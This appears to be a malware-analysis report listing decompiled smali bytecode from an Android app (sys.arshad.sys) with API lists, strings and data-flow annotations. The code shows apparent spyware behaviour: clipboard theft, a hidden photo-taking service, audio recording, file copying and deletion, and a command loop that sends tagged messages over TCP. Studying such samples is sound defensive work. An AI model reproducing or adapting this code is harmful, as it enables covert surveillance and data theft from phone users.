  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.delete
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/io/File;
2iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$10;->a:Ljava/lang/String;
4invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
6invoke-virtual {v0}, Ljava/io/File;->exists()Z
7move-result v1
8if-nez v1, :cond_10
10invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
11cond_10: new-instance v0, Ljava/io/FileInputStream;
12new-instance v1, Ljava/lang/StringBuilder;
14invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
16iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$10;->b:Ljava/lang/String;
18invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
19move-result-object v1
21iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$10;->c:Ljava/lang/String;
23invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v1
26invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
27move-result-object v1
29invoke-direct {v0, v1}, Ljava/io/FileInputStream;-><init>(Ljava/lang/String;)V
30new-instance v1, Ljava/io/FileOutputStream;
31new-instance v2, Ljava/lang/StringBuilder;
33invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
35iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$10;->a:Ljava/lang/String;
37invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38move-result-object v2
40iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$10;->c:Ljava/lang/String;
42invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
43move-result-object v2
45invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
46move-result-object v2
48invoke-direct {v1, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
49const/16 v2, 0x400
50new-array v2, v2, [B
51goto_48: const/4 v3, 0x0
52array-length v4, v2
54invoke-virtual {v0, v2, v3, v4}, Ljava/io/InputStream;->read([BII)I
  • Data flow analysis:
    • p1: 0
55move-result v3
56const/4 v4, -0x1
57if-eq v3, v4, :cond_58
58const/4 v4, 0x0
60invoke-virtual {v1, v2, v4, v3}, Ljava/io/OutputStream;->write([BII)V
  • Data flow analysis:
    • p1: 0
61goto/16 :goto_48
62catch_56: move-exception v0
63goto_57: return-void
64cond_58:
65invoke-virtual {v0}, Ljava/io/InputStream;->close()V
67invoke-virtual {v1}, Ljava/io/OutputStream;->flush()V
69invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
70iget v0, p0, Lsys/arshad/sys/MainActivity$b$10;->d:I
71const/4 v1, 0x1
72if-ne v0, v1, :cond_57
73new-instance v0, Ljava/io/File;
74new-instance v1, Ljava/lang/StringBuilder;
76invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
78iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$10;->b:Ljava/lang/String;
80invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
81move-result-object v1
83iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$10;->c:Ljava/lang/String;
85invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
86move-result-object v1
88invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
89move-result-object v1
91invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
93invoke-virtual {v0}, Ljava/io/File;->delete()Z
94try_end_83: goto/16 :goto_57
95catch_84: move-exception v0
96goto/16 :goto_57
Cross References
APIs
  • sys.arshad.sys.MainActivity.i
  • sys.arshad.sys.MainActivity.K
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.startService
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • B21:::ERROR[(0)tcp]
  • EO---->5
  • EO---->6
Position Instruction Meta Information
0try_start_0:
1invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->i()Z
2move-result v0
3const/4 v1, 0x1
4if-eq v0, v1, :cond_18
5const/4 v0, 0x0
6sput-object v0, Lsys/arshad/sys/MainActivity;->c:Ljava/lang/String;
8invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->K()V
9new-instance v0, Landroid/content/Intent;
10const-class v1, Lsys/arshad/sys/PhotoTakingService;
12invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
14invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
15goto_17: return-void
16cond_18: new-instance v0, Ljava/lang/StringBuilder;
18invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
20const-string v1, "B21:::ERROR[(0)tcp]"
22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B21:::ERROR[(0)tcp]
23move-result-object v0
25iget-object v1, p0, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28move-result-object v0
30invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
31move-result-object v0
33invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
35sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
37const-string v1, "EO---->5"
39invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->5
40try_end_37: goto/16 :goto_17
41catch_38: move-exception v0
43sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
45const-string v1, "EO---->6"
47invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->6
48new-instance v0, Ljava/lang/StringBuilder;
50invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
52const-string v1, "B21:::ERROR[(0)tcp]"
54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B21:::ERROR[(0)tcp]
55move-result-object v0
57iget-object v1, p0, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
59invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v0
62invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
63move-result-object v0
65invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
66goto/16 :goto_17
Cross References
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • java.lang.StringBuffer.<init>
  • android.text.ClipboardManager.getText
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • clipboard
  • \n
  • [(0)Ln]
  • nothing
  • B12:::
  • [(0)tcp]
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
3const-string v1, "clipboard"
5invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: clipboard
6move-result-object v0
7check-cast v0, Landroid/text/ClipboardManager;
8new-instance v1, Ljava/lang/StringBuffer;
10invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
12invoke-virtual {v0}, Landroid/text/ClipboardManager;->getText()Ljava/lang/CharSequence;
13move-result-object v0
15invoke-virtual {v1, v0}, Ljava/lang/StringBuffer;->append(Ljava/lang/CharSequence;)Ljava/lang/StringBuffer;
17invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
18move-result-object v0
20const-string v1, "\n"
22const-string v2, "[(0)Ln]"
24invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
    • p1: [(0)Ln]
25move-result-object v0
27const-string v1, ""
28if-ne v0, v1, :cond_28
30const-string v0, "nothing"
31cond_28:
32iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
33new-instance v2, Ljava/lang/StringBuilder;
35invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
37const-string v3, "B12:::"
39invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B12:::
40move-result-object v2
42invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: nothing
43move-result-object v0
45const-string v2, "[(0)tcp]"
47invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
48move-result-object v0
50iget-object v2, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
52iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
54invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
55move-result-object v0
57invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
58move-result-object v0
60invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
61goto_4e: return-void
62catch_4f: move-exception v0
63goto/16 :goto_4e
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.release
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity$b.b
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • sys.arshad.sys.MainActivity$b.b
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.release
  • sys.arshad.sys.MainActivity.a
Strings
  • audio
  • B5:::TimeStart[(0)tcp]
Position Instruction Meta Information
0const/4 v3, 0x0
2iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
4iget-object v1, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
6iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
8iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
10const-string v2, "audio"
12invoke-virtual {v0, v2}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
13move-result-object v0
14check-cast v0, Landroid/media/AudioManager;
16invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/AudioManager;)Landroid/media/AudioManager;
17try_start_14:
18iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
20iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
22invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
23move-result-object v0
24if-eqz v0, :cond_57
26iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
28iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
30invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
31move-result-object v0
33invoke-virtual {v0}, Landroid/media/MediaRecorder;->release()V
35iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
37iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
38const/4 v1, 0x0
40invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/MediaRecorder;)Landroid/media/MediaRecorder;
  • Data flow analysis:
    • p1: 0
42iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
44invoke-static {v0}, Lsys/arshad/sys/MainActivity$b;->b(Lsys/arshad/sys/MainActivity$b;)V
45goto_36:
46iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
48iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
49new-instance v1, Ljava/lang/StringBuilder;
51invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
53const-string v2, "B5:::TimeStart[(0)tcp]"
55invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B5:::TimeStart[(0)tcp]
56move-result-object v1
58iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
60iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
62iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
64invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
65move-result-object v1
67invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
68move-result-object v1
70invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
71goto_56: return-void
72cond_57:
73iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
75invoke-static {v0}, Lsys/arshad/sys/MainActivity$b;->b(Lsys/arshad/sys/MainActivity$b;)V
76try_end_5c: goto/16 :goto_36
77catch_5d: move-exception v0
79iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
81iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
83invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
84move-result-object v0
86invoke-virtual {v0}, Landroid/media/MediaRecorder;->release()V
88iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
90iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
92invoke-static {v0, v3}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/MediaRecorder;)Landroid/media/MediaRecorder;
  • Data flow analysis:
    • p1: 0
93goto/16 :goto_56
APIs
  • java.lang.String.indexOf
  • java.lang.String.split
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.c
  • java.lang.String.replace
  • java.io.File.<init>
  • sys.arshad.sys.MainActivity.u
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.net.Uri.fromFile
  • sys.arshad.sys.MainActivity.u
  • android.content.Intent.setDataAndType
  • sys.arshad.sys.MainActivity.startActivity
  • sys.arshad.sys.MainActivity.c
Strings
  • ;
  • \\;
  • android.intent.action.VIEW
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$31;->a:Ljava/lang/String;
3const-string v1, ";"
5invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: ;
6move-result v0
7const/4 v1, -0x1
8if-ne v0, v1, :cond_c
9goto_b: return-void
10cond_c:
11iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$31;->a:Ljava/lang/String;
13const-string v1, "\\;"
15invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: \\;
16move-result-object v1
17array-length v2, v1
18add-int/lit8 v2, v2, -0x1
19aget-object v1, v1, v2
21iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$31;->b:Lsys/arshad/sys/MainActivity$b;
23iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
25invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
26move-result-object v3
28invoke-static {v2, v3}, Lsys/arshad/sys/MainActivity;->c(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)Ljava/lang/String;
30const-string v2, ""
32invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
33move-result-object v0
35const-string v1, ";"
37const-string v2, ""
39invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: ;
40move-result-object v0
41new-instance v1, Ljava/io/File;
43invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
45iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$31;->b:Lsys/arshad/sys/MainActivity$b;
47iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
49invoke-static {v0}, Lsys/arshad/sys/MainActivity;->u(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
50move-result-object v0
52const-string v2, ""
53if-eq v0, v2, :cond_b
54new-instance v0, Landroid/content/Intent;
56invoke-direct {v0}, Landroid/content/Intent;-><init>()V
58const-string v2, "android.intent.action.VIEW"
60invoke-virtual {v0, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: android.intent.action.VIEW
62invoke-static {v1}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
63move-result-object v1
65iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$31;->b:Lsys/arshad/sys/MainActivity$b;
67iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
69invoke-static {v2}, Lsys/arshad/sys/MainActivity;->u(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
70move-result-object v2
72invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
74iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$31;->b:Lsys/arshad/sys/MainActivity$b;
76iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
78invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
80iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$31;->b:Lsys/arshad/sys/MainActivity$b;
82iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
84const-string v1, ""
86invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->c(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)Ljava/lang/String;
87try_end_6c: goto/16 :goto_b
88catch_6d: move-exception v0
89goto/16 :goto_b
APIs
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.provider.Settings$System.putInt
  • java.lang.String.replace
  • java.lang.String.trim
  • java.lang.Integer.parseInt
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.provider.Settings$System.getInt
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getContentResolver
  • android.provider.Settings$System.putInt
  • sys.arshad.sys.MainActivity.getWindow
  • android.view.Window.getAttributes
  • sys.arshad.sys.MainActivity.getWindow
  • android.view.Window.setAttributes
Strings
  • screen_brightness_mode
  • lightingscreen.
  • screen_brightness
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$38;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
6move-result-object v0
8const-string v1, "screen_brightness_mode"
9const/4 v2, 0x0
11invoke-static {v0, v1, v2}, Landroid/provider/Settings$System;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z
  • Data flow analysis:
    • p1: screen_brightness_mode
    • p2: 0
13iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$38;->a:Ljava/lang/String;
15const-string v1, "lightingscreen."
17const-string v2, ""
19invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: lightingscreen.
20move-result-object v0
22invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
23move-result-object v0
25invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
26move-result v0
28iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$38;->b:Lsys/arshad/sys/MainActivity$b;
30iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
32invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
33move-result-object v1
35const-string v2, "screen_brightness_mode"
37invoke-static {v1, v2}, Landroid/provider/Settings$System;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: screen_brightness_mode
38move-result v1
39if-nez v1, :cond_5d
41iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$38;->b:Lsys/arshad/sys/MainActivity$b;
43iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
45invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
46move-result-object v1
48invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
49move-result-object v1
51const-string v2, "screen_brightness"
53invoke-static {v1, v2, v0}, Landroid/provider/Settings$System;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z
  • Data flow analysis:
    • p1: screen_brightness
55iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$38;->b:Lsys/arshad/sys/MainActivity$b;
57iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
59invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getWindow()Landroid/view/Window;
60move-result-object v0
62invoke-virtual {v0}, Landroid/view/Window;->getAttributes()Landroid/view/WindowManager$LayoutParams;
63move-result-object v0
64const v1, 0x3e4ccccd # 0.2f
65iput v1, v0, Landroid/view/WindowManager$LayoutParams;->screenBrightness:F
67iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$38;->b:Lsys/arshad/sys/MainActivity$b;
69iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
71invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getWindow()Landroid/view/Window;
72move-result-object v1
74invoke-virtual {v1, v0}, Landroid/view/Window;->setAttributes(Landroid/view/WindowManager$LayoutParams;)V
75try_end_5d: return-void
76catch_5e: move-exception v0
77goto/16 :goto_5d
APIs
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • EO---->+++1ier !=null
  • B21:::Run[(0)tcp]
  • B21:::
  • [(0)tcp]
Position Instruction Meta Information
0goto_0:
1sget-object v0, Lsys/arshad/sys/MainActivity;->c:Ljava/lang/String;
2if-eqz v0, :cond_0
4sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
6const-string v1, "EO---->+++1ier !=null"
8invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->+++1ier !=null
10iget-object v0, p0, Lsys/arshad/sys/MainActivity$10;->a:Lsys/arshad/sys/MainActivity;
11new-instance v1, Ljava/lang/StringBuilder;
13invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
15const-string v2, "B21:::Run[(0)tcp]"
17invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B21:::Run[(0)tcp]
18move-result-object v1
20iget-object v2, p0, Lsys/arshad/sys/MainActivity$10;->a:Lsys/arshad/sys/MainActivity;
22iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25move-result-object v1
27invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
28move-result-object v1
30invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
32iget-object v0, p0, Lsys/arshad/sys/MainActivity$10;->a:Lsys/arshad/sys/MainActivity;
33new-instance v1, Ljava/lang/StringBuilder;
35invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
37const-string v2, "B21:::"
39invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B21:::
40move-result-object v1
42sget-object v2, Lsys/arshad/sys/MainActivity;->c:Ljava/lang/String;
44invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
45move-result-object v1
47const-string v2, "[(0)tcp]"
49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
50move-result-object v1
52iget-object v2, p0, Lsys/arshad/sys/MainActivity$10;->a:Lsys/arshad/sys/MainActivity;
54iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
57move-result-object v1
59invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
60move-result-object v1
62invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
63const/4 v0, 0x0
64sput-object v0, Lsys/arshad/sys/MainActivity;->c:Ljava/lang/String;
65try_end_52: return-void
66catch_53: move-exception v0
67goto/16 :goto_0
Cross References
APIs
  • android.os.SystemClock.sleep
  • sys.arshad.sys.MainActivity.i
  • java.io.BufferedReader.ready
  • java.lang.System.currentTimeMillis
  • sys.arshad.sys.MainActivity.i
  • java.io.BufferedReader.readLine
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity$b.publishProgress
  • sys.arshad.sys.MainActivity.j
  • java.io.PrintStream.println
Strings
  • message = NULL
  • Read failed---0
  • not ready
Position Instruction Meta Information
0goto_0: const-wide/16 v0, 0x12c
2invoke-static {v0, v1}, Landroid/os/SystemClock;->sleep(J)V
  • Data flow analysis:
    • p0: 300
3try_start_5:
4iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
6invoke-static {v0}, Lsys/arshad/sys/MainActivity;->i(Lsys/arshad/sys/MainActivity;)Ljava/io/BufferedReader;
7move-result-object v0
9invoke-virtual {v0}, Ljava/io/BufferedReader;->ready()Z
10move-result v0
11if-eqz v0, :cond_48
13iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
15invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
16move-result-wide v2
17iput-wide v2, v0, Lsys/arshad/sys/MainActivity;->j:J
19iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
21iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
23invoke-static {v1}, Lsys/arshad/sys/MainActivity;->i(Lsys/arshad/sys/MainActivity;)Ljava/io/BufferedReader;
24move-result-object v1
26invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
27move-result-object v1
